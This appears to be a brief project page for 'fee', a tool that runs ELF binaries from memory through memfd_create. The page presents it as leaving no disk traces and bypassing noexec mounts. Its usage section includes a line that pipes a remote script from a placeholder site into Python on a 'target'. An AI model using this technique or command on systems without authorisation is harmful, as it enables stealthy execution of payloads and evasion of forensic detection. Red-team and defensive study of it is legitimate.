Fileless ELF Execution – Running Binaries In Memory With FEE

This Python script generates interpreted code which creates the supplied ELF as a file in memory and executes it (without tmpfs).

This makes it possible to execute binaries without leaving traces on the disk.

The technique used for this is explained here.

With default options for each interpreter, running binaries using fee does not write to disk whatsoever. This can be verified using tools such as strace.

fee also completely ignores and bypasses noexec mount flags, even if they were set on /proc.

Target Requirements

• kernel: 3.17 or later (for memfd_create support)
• An interpreter. Any of these:
  • Python 2
  • Python 3
  • Perl
  • Ruby

Installation

Install this on your host machine using pipx:

$ pipx install fee

… or regular pip:

$ pip install --user fee

You may also clone this repository and run the script directly.

Usage

Basic usage: supply the path to the binary you wish to drop:

$ fee /path/to/binary > output.py

You can then pipe this into Python on the target:

$ curl my.example.site/output.py | python

For more information click here.